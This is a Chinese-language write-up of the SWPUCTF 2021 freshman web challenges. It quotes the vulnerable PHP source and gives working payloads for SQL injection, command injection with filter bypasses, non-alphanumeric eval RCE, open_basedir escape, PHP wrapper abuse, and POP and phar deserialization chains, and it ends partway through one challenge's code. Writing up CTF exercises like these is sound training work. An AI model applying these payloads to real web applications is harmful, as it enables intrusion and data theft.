• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

[SWPUCTF 2021 新生赛] web

武飞扬头像
ThnPkm
帮助1

目录

gift_F12

caidao 

 jicao

 easy_md5 

easy_sql  

easyrce

babyrce

ez_unserialize

include

 no_wakeup 

Do_you_know_http

easyupload1.0 

 easyupload2.0 

easyupload3.0

  error 

hardrce 无数字字母rce

hardrce_3 无数字字母rce

finalrce 无回显rce  

PseudoProtocols 伪协议 

pop 

sql 

Baby_Web   变量覆盖

babyunser  phar反序列化

SimplePHP  phar反序列化

文件查看器 phar反序列化


gift_F12

源码目录找flag

caidao 

简单的rce

学新通

学新通 

 jicao

  1.  
    <?php
  2.  
    highlight_file('index.php');
  3.  
    include("flag.php");
  4.  
    $id=$_POST['id'];
  5.  
    $json=json_decode($_GET['json'],true);
  6.  
    if ($id=="wllmNB"&&$json['x']=="wllm")
  7.  
    {echo $flag;}
  8.  
    ?>

json字符串例子 

学新通

json['x']=wllm  的json格式是 {"x":"wllm"}

学新通 

 easy_md5 

  1.  
    if ($name != $password && md5($name) == md5($password)){
  2.  
    echo $flag;
  3.  
    }

数组绕过 

name[]=1

password[]=2

easy_sql  

学新通

  1.  
    /?wllm=-1' union select 1,2,3--
  2.  
     
  3.  
    /?wllm=-1' union select 1,2,database()--
  4.  
     
  5.  
    /?wllm=-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--
  6.  
     
  7.  
    /?wllm=-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='test_tb')--
  8.  
     
  9.  
    /?wllm=-1' union select 1,2,(select group_concat(flag)from test_tb)--

easyrce

  1.  
    if(isset($_GET['url']))
  2.  
    {
  3.  
    eval($_GET['url']);
/?url=system('cat /fl*');

babyrce

学新通

 学新通

  1.  
    if (isset($_GET['url'])) {
  2.  
    $ip=$_GET['url'];
  3.  
    if(preg_match("/ /", $ip)){
  4.  
    die('nonono');
  5.  
    }
  6.  
    $a = shell_exec($ip);
  7.  
    echo $a;

就是过滤空格,rce时候不能ls / 

${IFS} 代替空格

/rasalghul.php?url=cat${IFS}/fl*

ez_unserialize

  1.  
    class wllm{
  2.  
     
  3.  
    public $admin;
  4.  
    public $passwd;
  5.  
     
  6.  
    public function __construct(){
  7.  
    $this->admin ="user";
  8.  
    $this->passwd = "123456";
  9.  
    }
  10.  
     
  11.  
    public function __destruct(){
  12.  
    if($this->admin === "admin" && $this->passwd === "ctf"){
  13.  
    include("flag.php");
  14.  
    echo $flag;
  15.  
    }else{
  16.  
    echo $this->admin;
  17.  
    echo $this->passwd;
  18.  
    echo "Just a bit more!";
  19.  
    }
  20.  
    }
  21.  
    }
  22.  
     
  23.  
    $p = $_GET['p'];
  24.  
    unserialize($p);
学新通

简单构造 

  1.  
    <?php
  2.  
    class wllm{
  3.  
    public $admin;
  4.  
    public $passwd;
  5.  
    public function __construct(){
  6.  
    $this->admin ="admin";
  7.  
    $this->passwd = "ctf";
  8.  
    }
  9.  
    }
  10.  
     
  11.  
    $p = new wllm();
  12.  
    echo serialize($p);

include

学新通

学新通 

filter 伪协议

学新通 

 no_wakeup 

  1.  
     
  2.  
    class HaHaHa{
  3.  
     
  4.  
     
  5.  
    public $admin;
  6.  
    public $passwd;
  7.  
     
  8.  
    public function __construct(){
  9.  
    $this->admin ="user";
  10.  
    $this->passwd = "123456";
  11.  
    }
  12.  
     
  13.  
    public function __wakeup(){
  14.  
    $this->passwd = sha1($this->passwd);
  15.  
    }
  16.  
     
  17.  
    public function __destruct(){
  18.  
    if($this->admin === "admin" && $this->passwd === "wllm"){
  19.  
    include("flag.php");
  20.  
    echo $flag;
  21.  
    }else{
  22.  
    echo $this->passwd;
  23.  
    echo "No wake up";
  24.  
    }
  25.  
    }
  26.  
    }
  27.  
     
  28.  
    $Letmeseesee = $_GET['p'];
  29.  
    unserialize($Letmeseesee);
学新通

修改属性个数绕__wakeup()

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

改成

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

 

Do_you_know_http

学新通

使用WLLM浏览器 

bp抓包修改UA 

 学新通

学新通 学新通

学新通 

easyupload1.0 

学新通

Content-Type 修改 

直接蚁剑

真的flag在phpinfo()中 

 easyupload2.0 

图片马上传进去,改名phtml 

蚁剑连

easyupload3.0

.htaccess 解析图片马

学新通

 学新通

  error 

报错注入

  1.  
    ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --
  2.  
     
  3.  
    ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--
  4.  
     
  5.  
    ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1),0x7e),1)--
  6.  
     
  7.  
    这里涉及到flag显示一半的问题
  8.  
     
  9.  
    ?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--
  10.  
    ?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--

hardrce 无数字字母rce

  1.  
    if(isset($_GET['wllm']))
  2.  
    {
  3.  
    $wllm = $_GET['wllm'];
  4.  
    $blacklist = [' ','\t','\r','\n','\ ','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
  5.  
    foreach ($blacklist as $blackitem)
  6.  
    {
  7.  
    if (preg_match('/' . $blackitem . '/m', $wllm)) {
  8.  
    die("LTLT说不能用这些奇奇怪怪的符号哦!");
  9.  
    }}
  10.  
    if(preg_match('/[a-zA-Z]/is',$wllm))
  11.  
    {
  12.  
    die("Ra's Al Ghul说不能用字母哦!");
  13.  
    }
  14.  
    echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
  15.  
    eval($wllm);
  16.  
    }
学新通

无字母数字rce 

能过虑的都过虑了,发现~没有过虑,可以进行取反

RCE篇之无数字字母rce - 学安全的小白 - 博客园 

php取反rce的脚本:

  1.  
    <?php
  2.  
    fwrite(STDOUT,'[ ]your function: ');
  3.  
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  4.  
    fwrite(STDOUT,'[ ]your command: ');
  5.  
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  6.  
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

 学新通

学新通 

hardrce_3 无数字字母rce

  1.  
    if(isset($_GET['wllm']))
  2.  
    {
  3.  
    $wllm = $_GET['wllm'];
  4.  
    $blacklist = [' ','\^','\~','\|'];
  5.  
    foreach ($blacklist as $blackitem)
  6.  
    {
  7.  
    if (preg_match('/' . $blackitem . '/m', $wllm)) {
  8.  
    die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
  9.  
    }}
  10.  
    if(preg_match('/[a-zA-Z0-9]/is',$wllm))
  11.  
    {
  12.  
    die("Ra'sAlGhul说用字母数字是没有灵魂的!");
  13.  
    }
  14.  
    echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
  15.  
    eval($wllm);
  16.  
    }
学新通

这里取反~不能用了 

  1.  
    //测试发现7.0.12以上版本不可使用
  2.  
    //使用时需要url编码下
  3.  
    $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$___.=$__;$___.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$___.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$___.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$___.=$__;$____='_';$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$____.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$____.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$____.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$____.=$__;$_=$$____;$___($_[_]);
  4.  
    固定格式 构造出来的 assert($_POST[_]);
  5.  
    然后post传入 _=phpinfo();

学新通

发现system,exec,shell_exec,popen,proc_open,passthru被禁用 ,同时设置了open_basedir,无法看到文件

但是可以用file_put_contents(,)

_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

访问1.php

学新通

finalrce 无回显rce  

  1.  
    if(isset($_GET['url']))
  2.  
    {
  3.  
    $url=$_GET['url'];
  4.  
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
  5.  
    {
  6.  
    echo "Sorry,you can't use this.";
  7.  
    }
  8.  
    else
  9.  
    {
  10.  
    echo "Can you see anything?";
  11.  
    exec($url);
  12.  
    }

没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。

学新通

过滤了ls 可以用l\s 来代替

然后访问1.txt

学新通

/?url=tac /flllll\aaaaaaggggggg | tee 2.txt

PseudoProtocols 伪协议 

学新通

filter协议读 

/index.php?wllm=php://filter/convert.base64-encode/resource=hint.php

 学新通

  1.  
    $a= $_GET["a"];
  2.  
    if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
  3.  
    echo "success\n";
  4.  
    echo $flag;

data 协议写入内容 

/test2222222222222.php?a=data://text/plain,I want flag

pop 

  1.  
    class w44m{
  2.  
     
  3.  
    private $admin = 'aaa';
  4.  
    protected $passwd = '123456';
  5.  
     
  6.  
    public function Getflag(){
  7.  
    if($this->admin === 'w44m' && $this->passwd ==='08067'){
  8.  
    include('flag.php');
  9.  
    echo $flag;
  10.  
    }else{
  11.  
    echo $this->admin;
  12.  
    echo $this->passwd;
  13.  
    echo 'nono';
  14.  
    }
  15.  
    }
  16.  
    }
  17.  
     
  18.  
    class w22m{
  19.  
    public $w00m;
  20.  
    public function __destruct(){
  21.  
    echo $this->w00m;
  22.  
    }
  23.  
    }
  24.  
     
  25.  
    class w33m{
  26.  
    public $w00m;
  27.  
    public $w22m;
  28.  
    public function __toString(){
  29.  
    $this->w00m->{$this->w22m}();
  30.  
    return 0;
  31.  
    }
  32.  
    }
  33.  
     
  34.  
    $w00m = $_GET['w00m'];
  35.  
    unserialize($w00m);
学新通

就三个类,__destruct入口 调用__toString() , echo是针对字符串的

__toString()去调用Getflag(),也就是 $this->w22m=Getflag

序列化链

  1.  
    <?php
  2.  
    class w44m{
  3.  
    private $admin = 'w44m';
  4.  
    protected $passwd = '08067';
  5.  
     
  6.  
    public function Getflag(){
  7.  
    if($this->admin === 'w44m' && $this->passwd ==='08067'){
  8.  
    include('flag.php');
  9.  
    echo $flag;
  10.  
    }else{
  11.  
    echo $this->admin;
  12.  
    echo $this->passwd;
  13.  
    echo 'nono';
  14.  
    }
  15.  
    }
  16.  
    }
  17.  
     
  18.  
    class w22m{
  19.  
    public $w00m;
  20.  
    public function __destruct(){
  21.  
    echo $this->w00m;
  22.  
    }
  23.  
    }
  24.  
     
  25.  
    class w33m{
  26.  
    public $w00m;
  27.  
    public $w22m;
  28.  
    public function __toString(){
  29.  
    $this->w00m->{$this->w22m}();
  30.  
    return 0;
  31.  
    }
  32.  
    }
  33.  
     
  34.  
    $a=new w44m();
  35.  
    $b=new w22m();
  36.  
    $c=new w33m();
  37.  
     
  38.  
    $b->w00m=$c;
  39.  
    $c->w00m=$a;
  40.  
    $c->w22m="Getflag";
  41.  
     
  42.  
    echo urlencode(serialize($b));
学新通

有私有属性一定要url编码一下

sql 

有waf ,fuzz一下

学新通

 这些都过滤了,主要是空格 = ban了 

空格用/**/,=用like  ,然后-- 和 #不能用,# 来闭合

payload:

  1.  
    /?wllm=-1'/**/union/**/select/**/1,2,database()#
  2.  
     
  3.  
    /?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
  4.  
     
  5.  
    /?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag#

读flag字段时,值显示出一半的flag,right,left,substr都过滤了,可以考虑用mid 

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag#

Baby_Web   变量覆盖

CVE-2021-41773

简单来说: 检测路径中是否存在%字符,并且如果%后面的两个字符是十六进制字符,就会对后面的两个字符进行url解码转化,如路径中有../,则会解码为../,转换后判断是否存在../,加入路径中使用../则能绕过,导致目录穿越漏洞,因为当遍历到第一个.时,后面两个字符是%2并不是./,就不会被处理,绕过检测。

学新通

 目录穿越 ,dirsearch能扫到  

学新通

学新通

 学新通

  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
    define("main","main");
  4.  
    include "Class.php";
  5.  
    $temp = new Temp($_POST);
  6.  
    $temp->display($_GET['filename']);
  7.  
     
  8.  
    ?>

还有个Class.php

  1.  
    <?php
  2.  
    defined('main') or die("no!!");
  3.  
    Class Temp{
  4.  
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
  5.  
    private $template;
  6.  
    public function __construct($data){
  7.  
     
  8.  
    $this->date = array_merge($this->date,$data);
  9.  
    }
  10.  
    public function getTempName($template,$dir){
  11.  
    if($dir === 'admin'){
  12.  
    $this->template = str_replace('..','','./template/admin/'.$template);
  13.  
    if(!is_file($this->template)){
  14.  
    die("no!!");
  15.  
    }
  16.  
    }
  17.  
    else{
  18.  
    $this->template = './template/index.html';
  19.  
    }
  20.  
    }
  21.  
    public function display($template,$space=''){
  22.  
     
  23.  
    extract($this->date);
  24.  
    $this->getTempName($template,$space);
  25.  
    include($this->template);
  26.  
    }
  27.  
    public function listdata($_params){
  28.  
    $system = [
  29.  
    'db' => '',
  30.  
    'app' => '',
  31.  
    'num' => '',
  32.  
    'sum' => '',
  33.  
    'form' => '',
  34.  
    'page' => '',
  35.  
    'site' => '',
  36.  
    'flag' => '',
  37.  
    'not_flag' => '',
  38.  
    'show_flag' => '',
  39.  
    'more' => '',
  40.  
    'catid' => '',
  41.  
    'field' => '',
  42.  
    'order' => '',
  43.  
    'space' => '',
  44.  
    'table' => '',
  45.  
    'table_site' => '',
  46.  
    'total' => '',
  47.  
    'join' => '',
  48.  
    'on' => '',
  49.  
    'action' => '',
  50.  
    'return' => '',
  51.  
    'sbpage' => '',
  52.  
    'module' => '',
  53.  
    'urlrule' => '',
  54.  
    'pagesize' => '',
  55.  
    'pagefile' => '',
  56.  
    ];
  57.  
     
  58.  
    $param = $where = [];
  59.  
     
  60.  
    $_params = trim($_params);
  61.  
     
  62.  
    $params = explode(' ', $_params);
  63.  
    if (in_array($params[0], ['list','function'])) {
  64.  
    $params[0] = 'action='.$params[0];
  65.  
    }
  66.  
    foreach ($params as $t) {
  67.  
    $var = substr($t, 0, strpos($t, '='));
  68.  
    $val = substr($t, strpos($t, '=') 1);
  69.  
    if (!$var) {
  70.  
    continue;
  71.  
    }
  72.  
    if (isset($system[$var])) {
  73.  
    $system[$var] = $val;
  74.  
    } else {
  75.  
    $param[$var] = $val;
  76.  
    }
  77.  
    }
  78.  
    // action
  79.  
    switch ($system['action']) {
  80.  
     
  81.  
    case 'function':
  82.  
     
  83.  
    if (!isset($param['name'])) {
  84.  
    return 'hacker!!';
  85.  
    } elseif (!function_exists($param['name'])) {
  86.  
    return 'hacker!!';
  87.  
    }
  88.  
     
  89.  
    $force = $param['force'];
  90.  
    if (!$force) {
  91.  
    $p = [];
  92.  
    foreach ($param as $var => $t) {
  93.  
    if (strpos($var, 'param') === 0) {
  94.  
    $n = intval(substr($var, 5));
  95.  
    $p[$n] = $t;
  96.  
    }
  97.  
    }
  98.  
    if ($p) {
  99.  
     
  100.  
    $rt = call_user_func_array($param['name'], $p);
  101.  
    } else {
  102.  
    $rt = call_user_func($param['name']);
  103.  
    }
  104.  
    return $rt;
  105.  
    }else{
  106.  
    return null;
  107.  
    }
  108.  
    case 'list':
  109.  
    return json_encode($this->date);
  110.  
    }
  111.  
    return null;
  112.  
    }
  113.  
    }
学新通

可以看到在index.php中get传参
它对我们传参的值进行display方法 

  1.  
    public function display($template,$space=''){
  2.  
     
  3.  
    extract($this->date);
  4.  
    $this->getTempName($template,$space);
  5.  
    include($this->template);
  6.  
    }

然后经过extract,再进行getTempName方法

  1.  
    public function getTempName($template,$dir){
  2.  
    if($dir === 'admin'){
  3.  
    $this->template = str_replace('..','','./template/admin/'.$template);
  4.  
    if(!is_file($this->template)){
  5.  
    die("no!!");
  6.  
    }
  7.  
    }

这里给了个目录/template/admin/
我们试着直接访问一下

学新通

我们会发现 它会调用listdata方法
然后我们在listadta方法中发现危险函数 

  1.  
    $rt = call_user_func_array($param['name'], $p);
  2.  
    $rt = call_user_func($param['name']);

利用 call_user_func()

 我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量

审代码

  1.  
    $_params = trim($_params);//删除两侧多余的空格
  2.  
    $params = explode(' ', $_params);//以空格分隔成数组
  3.  
    if (in_array($params[0], ['list','function'])) {
  4.  
    $params[0] = 'action='.$params[0];
  5.  
    }
  6.  
    foreach ($params as $t) {//遍历新⽣成的数组
  7.  
    $var = substr($t, 0, strpos($t, '='));//key
  8.  
    $val = substr($t, strpos($t, '=') 1);//value
  9.  
    if (!$var) {
  10.  
    continue;
  11.  
    }
  12.  
    if (isset($system[$var])) {
  13.  
    $system[$var] = $val;
  14.  
    } else {
  15.  
    $param[$var] = $val;//数组定义
  16.  
    }
  17.  
    }
学新通

数组定义 

  1.  
    switch ($system['action']) {//把key为action的值来比较
  2.  
     
  3.  
    case 'function':
  4.  
     
  5.  
    if (!isset($param['name'])) {//必须有key为name
  6.  
    return 'hacker!!';
  7.  
    } elseif (!function_exists($param['name']))//还必须被定义
  8.  
    {
  9.  
    return 'hacker!!';
  10.  
    }
  11.  
     
  12.  
    $force = $param['force'];
  13.  
    if (!$force) {
  14.  
    $p = [];//我们只需要这一步定义
  15.  
    foreach ($param as $var => $t) {
  16.  
    if (strpos($var, 'param') === 0) {
  17.  
    $n = intval(substr($var, 5));
  18.  
    $p[$n] = $t;
  19.  
    }
  20.  
    }
  21.  
    if ($p) {
  22.  
    $rt = call_user_func_array($param['name'], $p);
  23.  
    } else {
  24.  
    $rt = call_user_func($param['name']);//利用的key为name的value值
  25.  
    }
学新通

payload:

  1.  
    URL?filename=index.html
  2.  
     
  3.  
    (POST)space=admin&mod=123 action=function name=phpinfo

学新通

babyunser  phar反序列化

尝试上传,自动解析成txt文件 

学新通

学新通

 文件查看可以查到源码 

read.php

  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
    $filename=$_POST['file'];
  4.  
    if(!isset($filename)){
  5.  
    die();
  6.  
    }
  7.  
    $file=new zz($filename);
  8.  
    $contents=$file->getFile();
  9.  
    ?>

upload.php

  1.  
    <?php
  2.  
    if(isset($_POST['submit'])){
  3.  
    $upload_path="upload/".md5(time()).".txt";
  4.  
    $temp_file = $_FILES['upload_file']['tmp_name'];
  5.  
    if (move_uploaded_file($temp_file, $upload_path)) {
  6.  
    echo "文件路径:".$upload_path;
  7.  
    } else {
  8.  
    $msg = '上传失败';
  9.  
    }
  10.  
    }

class.php

  1.  
    <?php
  2.  
    class aa{
  3.  
    public $name;
  4.  
     
  5.  
    public function __construct(){
  6.  
    $this->name='aa';
  7.  
    }
  8.  
     
  9.  
    public function __destruct(){
  10.  
    $this->name=strtolower($this->name);
  11.  
    }
  12.  
    }
  13.  
     
  14.  
    class ff{
  15.  
    private $content;
  16.  
    public $func;
  17.  
     
  18.  
    public function __construct(){
  19.  
    $this->content="\<?php @eval(\$_POST[1]);?>";
  20.  
    }
  21.  
     
  22.  
    public function __get($key){
  23.  
    $this->$key->{$this->func}($_POST['cmd']);
  24.  
    }
  25.  
    }
  26.  
     
  27.  
    class zz{
  28.  
    public $filename;
  29.  
    public $content='surprise';
  30.  
     
  31.  
    public function __construct($filename){
  32.  
    $this->filename=$filename;
  33.  
    }
  34.  
     
  35.  
    public function filter(){
  36.  
    if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
  37.  
    die('这不合理');
  38.  
    }
  39.  
    }
  40.  
     
  41.  
    public function write($var){
  42.  
    $filename=$this->filename;
  43.  
    $lt=$this->filename->$var;
  44.  
    //此功能废弃,不想写了
  45.  
    }
  46.  
     
  47.  
    public function getFile(){
  48.  
    $this->filter();
  49.  
    $contents=file_get_contents($this->filename);
  50.  
    if(!empty($contents)){
  51.  
    return $contents;
  52.  
    }else{
  53.  
    die("404 not found");
  54.  
    }
  55.  
    }
  56.  
     
  57.  
    public function __toString(){
  58.  
    $this->{$_POST['method']}($_POST['var']);
  59.  
    return $this->content;
  60.  
    }
  61.  
    }
  62.  
     
  63.  
    class xx{
  64.  
    public $name;
  65.  
    public $arg;
  66.  
     
  67.  
    public function __construct(){
  68.  
    $this->name='eval';
  69.  
    $this->arg='phpinfo();';
  70.  
    }
  71.  
     
  72.  
    public function __call($name,$arg){
  73.  
    $name($arg[0]);
  74.  
    }
  75.  
    }
学新通

顺着魔术方法构造 

poc

  1.  
    <?php
  2.  
    class aa{
  3.  
    public $name;
  4.  
    function __construct(){
  5.  
    $this->name = new zz();
  6.  
    }
  7.  
    }
  8.  
     
  9.  
    class ff{
  10.  
    private $content;
  11.  
    public $func = "assert";
  12.  
    function __construct(){
  13.  
    $this->content = new xx();
  14.  
    }
  15.  
    }
  16.  
     
  17.  
    class zz{
  18.  
    public $filename;
  19.  
    public $content='surprise';
  20.  
    function __construct(){
  21.  
    $this->filename = new ff();
  22.  
    }
  23.  
     
  24.  
    }
  25.  
     
  26.  
    class xx{
  27.  
    public $name;
  28.  
    public $arg;
  29.  
    }
  30.  
     
  31.  
    $a = new aa();
  32.  
    echo urlencode(serialize($a));
  33.  
     
  34.  
    # 下面这部分就没改
  35.  
    $phar = new Phar("phar.phar");
  36.  
    $phar->startBuffering();
  37.  
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
  38.  
     
  39.  
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
  40.  
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
  41.  
    //签名自动计算
  42.  
    $phar->stopBuffering();
学新通

 生成phar文件 上传进去 

然后在read.php 这里post学新通

 

SimplePHP  phar反序列化

查看文件这里可以看到源码 

学新通

学新通

file.php ,提供了get传参

  1.  
    <?php
  2.  
    header("content-type:text/html;charset=utf-8");
  3.  
    include 'function.php';
  4.  
    include 'class.php';
  5.  
    ini_set('open_basedir','/var/www/html/');
  6.  
    $file = $_GET["file"] ? $_GET['file'] : "";
  7.  
    if(empty($file)) {
  8.  
    echo "<h2>There is no file to show!<h2/>";
  9.  
    }
  10.  
    $show = new Show();
  11.  
    if(file_exists($file)) {
  12.  
    $show->source = $file;
  13.  
    $show->_show();
  14.  
    } else if (!empty($file)){
  15.  
    die('file doesn\'t exists.');
  16.  
    }
  17.  
    ?>
学新通

 主要看

class.php

  1.  
    <?php
  2.  
    class C1e4r
  3.  
    {
  4.  
    public $test;
  5.  
    public $str;
  6.  
    public function __construct($name)
  7.  
    {
  8.  
    $this->str = $name;
  9.  
    }
  10.  
    public function __destruct()
  11.  
    {
  12.  
    $this->test = $this->str;
  13.  
    echo $this->test;
  14.  
    }
  15.  
    }
  16.  
     
  17.  
    class Show
  18.  
    {
  19.  
    public $source;
  20.  
    public $str;
  21.  
    public function __construct($file)
  22.  
    {
  23.  
    $this->source = $file; //$this->source = phar://phar.jpg
  24.  
    echo $this->source;
  25.  
    }
  26.  
    public function __toString()
  27.  
    {
  28.  
    $content = $this->str['str']->source;
  29.  
    return $content;
  30.  
    }
  31.  
    public function __set($key,$value)
  32.  
    {
  33.  
    $this->$key = $value;
  34.  
    }
  35.  
    public function _show()
  36.  
    {
  37.  
    if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
  38.  
    die('hacker!');
  39.  
    } else {
  40.  
    highlight_file($this->source);
  41.  
    }
  42.  
     
  43.  
    }
  44.  
    public function __wakeup()
  45.  
    {
  46.  
    if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
  47.  
    echo "hacker~";
  48.  
    $this->source = "index.php";
  49.  
    }
  50.  
    }
  51.  
    }
  52.  
    class Test
  53.  
    {
  54.  
    public $file;
  55.  
    public $params;
  56.  
    public function __construct()
  57.  
    {
  58.  
    $this->params = array();
  59.  
    }
  60.  
    public function __get($key)
  61.  
    {
  62.  
    return $this->get($key);
  63.  
    }
  64.  
    public function get($key)
  65.  
    {
  66.  
    if(isset($this->params[$key])) {
  67.  
    $value = $this->params[$key];
  68.  
    } else {
  69.  
    $value = "index.php";
  70.  
    }
  71.  
    return $this->file_get($value);
  72.  
    }
  73.  
    public function file_get($value)
  74.  
    {
  75.  
    $text = base64_encode(file_get_contents($value));
  76.  
    return $text;
  77.  
    }
  78.  
    }
  79.  
    ?>
学新通

Test类:
创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时__get方法触发,调用get函数,get函数的$key传递给file_get函数的$valuefile_get函数再将$value经过file_get_contents函数处理和base64编码传递给$test并输出。

分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法

  1.  
    public function __toString()
  2.  
    {
  3.  
    $content = $this->str['str']->source;
  4.  
    return $content;
  5.  
    }

问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get方法,那么现在的问题变成了__tostring的触发,看C1e4r类中的__destruct ,echo出test正好可以触发__tostring


整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()

  1.  
    <?php
  2.  
    class C1e4r
  3.  
    {
  4.  
    public $test;
  5.  
    public $str;
  6.  
    }
  7.  
     
  8.  
    class Show
  9.  
    {
  10.  
    public $source;
  11.  
    public $str;
  12.  
    }
  13.  
     
  14.  
    class Test
  15.  
    {
  16.  
    //Test类中没有source属性,可以根据这个调用__get()函数
  17.  
    public $file;
  18.  
    public $params;//数组类型的数值
  19.  
    }
  20.  
     
  21.  
     
  22.  
    $a = new C1e4r();
  23.  
    $b = new Show();
  24.  
    $c = new Test();
  25.  
     
  26.  
    $a->str = $b;
  27.  
    $b->str['str'] = $c;
  28.  
    $c->params['source'] = "/var/www/html/f1ag.php";
  29.  
     
  30.  
    @unlink('test.phar');
  31.  
     
  32.  
    $phar=new Phar('test.phar');
  33.  
    $phar->startBuffering();
  34.  
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
  35.  
    $phar->setMetadata($a);//链子以$a为起点
  36.  
    $phar->addFromString("test.txt","test");
  37.  
    $phar->stopBuffering();
  38.  
    ?>
学新通

根据上传功能的源码phar文件要改名,然后访问upload目录

学新通

学新通

 以phar协议读取

学新通

文件查看器 phar反序列化

这题有点难啊

WP篇之解析GFCTF---文件查看器 | Arsene.Tang

admin , admin 登录进去 

www.zip源码泄露

Files.class.php

  1.  
    <?php
  2.  
    class Files{
  3.  
    public $filename;
  4.  
     
  5.  
    public function __construct(){
  6.  
    $this->log();
  7.  
    }
  8.  
     
  9.  
    public function read(){
  10.  
    include("view/file.html");
  11.  
    if(isset($_POST['file'])){
  12.  
    $this->filename=$_POST['file'];
  13.  
    }else{
  14.  
    die("请输入文件名");
  15.  
    }
  16.  
    $contents=$this->getFile();
  17.  
    echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
  18.  
    }
  19.  
     
  20.  
    public function filter(){
  21.  
    if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
  22.  
    echo "这合理吗";
  23.  
    throw new Error("这不合理");
  24.  
    }
  25.  
    }
  26.  
     
  27.  
    public function getFile(){
  28.  
    $contents=file_get_contents($this->filename);
  29.  
    $this->filter();
  30.  
    if(isset($_POST['write'])){
  31.  
    file_put_contents($this->filename,$contents);
  32.  
    }
  33.  
    if(!empty($contents)){
  34.  
    return $contents;
  35.  
    }else{
  36.  
    die("该文件不存在或者内容为空");
  37.  
    }
  38.  
    }
  39.  
     
  40.  
    public function log(){
  41.  
    $log=new Myerror();
  42.  
    }
  43.  
     
  44.  
    public function __get($key){
  45.  
    ($key)($this->arg);
  46.  
    }
  47.  
    }
学新通

Myerror.class.php

  1.  
    <?php
  2.  
    class Myerror{
  3.  
    public $message;
